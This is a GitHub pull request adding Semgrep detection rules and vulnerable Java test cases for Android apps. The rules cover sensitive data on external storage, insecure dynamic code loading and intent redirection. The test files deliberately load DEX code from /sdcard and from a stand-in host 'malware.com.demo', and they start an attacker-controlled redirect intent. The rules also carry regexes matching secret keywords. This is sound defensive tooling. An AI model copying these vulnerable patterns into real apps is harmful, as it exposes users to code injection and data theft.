Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ptt contribution #3091

Open
wants to merge 7 commits into
base: develop
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
58 changes: 58 additions & 0 deletions java/android/security/external-storage-interaction.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,58 @@
package oversecured.ovaa.utils;

import android.content.Context;
import android.net.Uri;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.OutputStream;
import org.apache.commons.p008io.IOUtils;

/* loaded from: classes.dex */
public class FileUtils {
private FileUtils() {
}

public static void deleteRecursive(File file) {
File[] listFiles;
if (file.isDirectory()) {
for (File child : file.listFiles()) {
deleteRecursive(child);
}
}
file.delete();
}

public static File copyToCache(Context context, Uri uri) {
try {
File out = new File(context.getExternalCacheDir(), "" + System.currentTimeMillis());
InputStream i = context.getContentResolver().openInputStream(uri);
OutputStream o = new FileOutputStream(out);
IOUtils.copy(i, o);
i.close();
o.close();
return out;
} catch (Exception e) {
return null;
}
}

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(Environment.getExternalStorageDirectory(), uri.getLastPathSegment());
return ParcelFileDescriptor.open(file, 805306368);
}

private void updateChecker() {
try {
File file = new File("/sdcard/updater.apk");
if (file.exists() && file.isFile() && file.length() <= 1000) {
DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
int version = ((Integer) cl.loadClass("oversecured.ovaa.updater.VersionCheck").getDeclaredMethod("getLatestVersion", new Class[0]).invoke(null, new Object[0])).intValue();
if (Build.VERSION.SDK_INT < version) {
Toast.makeText(this, "Update required!", 1).show();
}
}
} catch (Exception e) {
}
}
}
56 changes: 56 additions & 0 deletions java/android/security/external-storage-interaction.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
rules:
- id: external-storage-interaction
severity: WARNING
languages:
- java
metadata:
authors:
- Riccardo Cardelli @gand3lf (IMQ Minded Security)
owasp-mobile: M2
category: security
area: storage
verification-level:
- L1
- L2
references:
- https://github.com/OWASP/owasp-mastg/blob/v1.5.0/Document/0x05d-Testing-Data-Storage.md#testing-local-storage-for-sensitive-data-mstg-storage-1-and-mstg-storage-2
message: The application could store sensitive data outside of the application
container or system credential storage facilities.
options:
symbolic_propagation: true
pattern-either:
- patterns:
- pattern: openFileOutput($FILENAME, $MODE)
- metavariable-comparison:
comparison: $MODE & (0x0001+0x0002) > 0
- patterns:
- pattern: $X = ... .getSharedPreferences($P, $M);
- metavariable-comparison:
comparison: $M != 0
- patterns:
- pattern: $X.$M(...)
- metavariable-regex:
metavariable: $M
regex: ((getExternal).*|getCacheDir)
- patterns:
- pattern-inside: new File($FILENAME)
- metavariable-regex:
metavariable: $FILENAME
regex: ^.*sdcard.*
- patterns:
- pattern-inside: |
$METHOD(...){ ...
$X = ... .$WRT(...);
...
$X.$MTD(...);
... }
- metavariable-regex:
metavariable: $WRT
regex: (getWritableDatabase|getReadableDatabase|openOrCreateDatabase|create|openDatabase)
- pattern: $X.$MTD($...ARGS);
- metavariable-regex:
metavariable: $MTD
regex: .*(?i)(query|insert|replace|update).*
- metavariable-regex:
metavariable: $...ARGS
regex: .*(?i)(key|secret|password|pwd|passwd|token|seed|otp(?-i)|IV).*
104 changes: 104 additions & 0 deletions java/android/security/insecure-code-loading.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
package oversecured.ovaa;

import android.app.Application;
import android.content.Context;
import android.content.pm.PackageInfo;
import android.os.Build;
import android.os.Bundle;
import android.widget.Toast;
import dalvik.system.DexClassLoader;
import java.io.File;

/* loaded from: classes.dex */
public class OversecuredApplication extends Application {
@Override // android.app.Application
public void onCreate() {
super.onCreate();
updateChecker();
invokePlugins();
}

private void invokePlugins() {
for (PackageInfo info : getPackageManager().getInstalledPackages(128)) {
String packageName = info.packageName;
Bundle meta = info.applicationInfo.metaData;
if (packageName.startsWith("oversecured.plugin.") && meta.getInt("version", -1) >= 10) {
try {
Context packageContext = createPackageContext(packageName, 3);
packageContext.getClassLoader().loadClass("oversecured.plugin.Loader").getMethod("loadMetadata", Context.class).invoke(null, this);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
}
}

private void updateChecker() {
try {
File file = new File("/sdcard/updater.apk");
if (file.exists() && file.isFile() && file.length() <= 1000) {
DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
int version = ((Integer) cl.loadClass("oversecured.ovaa.updater.VersionCheck").getDeclaredMethod("getLatestVersion", new Class[0]).invoke(null, new Object[0])).intValue();
if (Build.VERSION.SDK_INT < version) {
Toast.makeText(this, "Update required!", 1).show();
}
}
} catch (Exception e) {
}
}

private void updateChecker2() {
try {
File file = new File(context.getExternalCacheDir(), "/update.apk");
if (file.exists() && file.isFile() && file.length() <= 1000) {
DexClassLoader cl = new DexClassLoader(file.getAbsolutePath(), getCacheDir().getAbsolutePath(), null, getClassLoader());
int version = ((Integer) cl.loadClass("oversecured.ovaa.updater.VersionCheck").getDeclaredMethod("getLatestVersion", new Class[0]).invoke(null, new Object[0])).intValue();
if (Build.VERSION.SDK_INT < version) {
Toast.makeText(this, "Update required!", 1).show();
}
}
} catch (Exception e) {
}
}

private void downloadFile(String url) {
Thread thread = new Thread(new Runnable() {
@Override
public void run() {
try {
URL u = new URL(url);
URLConnection conn = u.openConnection();
int contentLength = conn.getContentLength();
DataInputStream stream = new DataInputStream(u.openStream());
byte[] buffer = new byte[contentLength];
stream.readFully(buffer);
stream.close();

Log.d("seccheck", "Success of download to buffer");
} catch (Exception e) {
Log.e("seccheck", e.getMessage());
}
}
});
thread.start();
}

private void loadAndInvokeInMemoryDex(byte[] buffer) {
downloadFile("https://malware.com.demo");
byte[] buffer = new byte[100];
ByteBuffer btBuffer = ByteBuffer.wrap(buffer);

InMemoryDexClassLoader lder = new InMemoryDexClassLoader(btBuffer, getClassLoader());

try {
Class<?> mt = lder.loadClass("com.erev0s.randomnumber.RandomNumber");
Method checkMethodInMemory = mt.getMethod("getRandomNumber");
Object newcl = mt.newInstance();
String result = checkMethodInMemory.invoke(newcl).toString();
Log.d("seccheck", "Result of invoking method: " + result);
} catch (Exception e) {
Log.e("seccheck", e.getMessage());
}
}

}
43 changes: 43 additions & 0 deletions java/android/security/insecure-code-loading.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
rules:
- id: insecure-code-loading
mode: taint
pattern-sources:
- by-side-effect: true
pattern-either:
- patterns:
- pattern-inside: File $LFILE = new File($FILENAME);
- metavariable-regex:
metavariable: $FILENAME
regex: ^.*(\/sdcard\/).*
- focus-metavariable: $LFILE
- patterns:
- pattern: $X.$M(...)
- metavariable-regex:
metavariable: $M
regex: ((getExternal).*|getCacheDir)
- pattern: ByteBuffer $BYTEBUFFER = ByteBuffer.wrap(...);
pattern-sinks:
- pattern-either:
- pattern-inside: new DexClassLoader(...)
- pattern-inside: new PathClassLoader(...)
- pattern: new InMemoryDexClassLoader($BYTEBUFFER, getClassLoader());
message: Insecure code loading
metadata:
masvs:
- MSTG-PLATFORM
references:
- https://blog.oversecured.com/Why-dynamic-code-loading-could-be-dangerous-for-your-apps-a-Google-example/
category: security
technology:
- android
subcategory:
- vuln
likelihood: MEDIUM
impact: HIGH
confidence: MEDIUM
license: Commons Clause License Condition v1.0[LGPL-2.1-only]
vulnerability_class:
- Code Injection
languages:
- java
severity: WARNING
79 changes: 79 additions & 0 deletions java/android/security/intent-redirection.java
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
package oversecured.ovaa.activities;

import android.content.Intent;
import android.os.Bundle;
import android.text.TextUtils;
import android.util.Log;
import android.view.View;
import android.widget.TextView;
import android.widget.Toast;
import androidx.appcompat.app.AppCompatActivity;
import oversecured.ovaa.C0646R;
import oversecured.ovaa.network.LoginService;
import oversecured.ovaa.network.RetrofitInstance;
import oversecured.ovaa.objects.LoginData;
import oversecured.ovaa.utils.LoginUtils;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;

/* loaded from: classes.dex */
public class LoginActivity extends AppCompatActivity {
public static final String INTENT_REDIRECT_KEY = "redirect_intent";
private LoginUtils loginUtils;

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(C0646R.layout.activity_login);
LoginUtils loginUtils = LoginUtils.getInstance(this);
this.loginUtils = loginUtils;
if (loginUtils.isLoggedIn()) {
onLoginFinished();
} else {
findViewById(C0646R.C0648id.loginButton).setOnClickListener(new View.OnClickListener() { // from class: oversecured.ovaa.activities.LoginActivity.1
@Override // android.view.View.OnClickListener
public void onClick(View view) {
String email = ((TextView) LoginActivity.this.findViewById(C0646R.C0648id.emailView)).getText().toString();
String password = ((TextView) LoginActivity.this.findViewById(C0646R.C0648id.passwordView)).getText().toString();
if (TextUtils.isEmpty(email)) {
Toast.makeText(LoginActivity.this, "Email is emply!", 1).show();
} else if (!TextUtils.isEmpty(password)) {
LoginActivity.this.processLogin(email, password);
} else {
Toast.makeText(LoginActivity.this, "Password is emply!", 1).show();
}
}
});
}
}

/* JADX INFO: Access modifiers changed from: private */
public void processLogin(String email, String password) {
LoginData loginData = new LoginData(email, password);
Log.d("ovaa", "Processing " + loginData);
LoginService loginService = (LoginService) RetrofitInstance.getInstance().create(LoginService.class);
loginService.login(this.loginUtils.getLoginUrl(), loginData).enqueue(new Callback<Void>() { // from class: oversecured.ovaa.activities.LoginActivity.2
@Override // retrofit2.Callback
public void onResponse(Call<Void> call, Response<Void> response) {
}

@Override // retrofit2.Callback
public void onFailure(Call<Void> call, Throwable t) {
}
});
this.loginUtils.saveCredentials(loginData);
onLoginFinished();
}

private void onLoginFinished() {
Intent redirectIntent = (Intent) getIntent().getParcelableExtra(INTENT_REDIRECT_KEY);
if (redirectIntent != null) {
startActivity(redirectIntent);
} else {
startActivity(new Intent(this, MainActivity.class));
}
finish();
}
}
34 changes: 34 additions & 0 deletions java/android/security/intent-redirection.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,34 @@
rules:
- id: intent-redirection
mode: taint
pattern-sources:
- by-side-effect: true
pattern-either:
- pattern: Intent $RITENT = (Intent) getIntent();
- pattern: Intent $RITENT = (Intent) getIntent().$EXTRACTOR(...);
focus-metavariable: $RITENT
pattern-sinks:
- pattern-either:
- pattern-inside: startActivity(...)
- pattern-inside: startService(...)
message: Intent Redirection - App contains an Intent Redirection issue which can allow malicious apps to access private app components or files.
metadata:
masvs:
- MSTG-PLATFORM-2
references:
- https://mas.owasp.org/MASTG/tests/android/MASVS-CODE/MASTG-TEST-0026/
- https://developer.android.com/topic/security/risks/intent-redirection
category: security
technology:
- android
subcategory:
- vuln
likelihood: MEDIUM
impact: HIGH
confidence: MEDIUM
license: Commons Clause License Condition v1.0[LGPL-2.1-only]
vulnerability_class:
- Code Injection
languages:
- java
severity: WARNING
Loading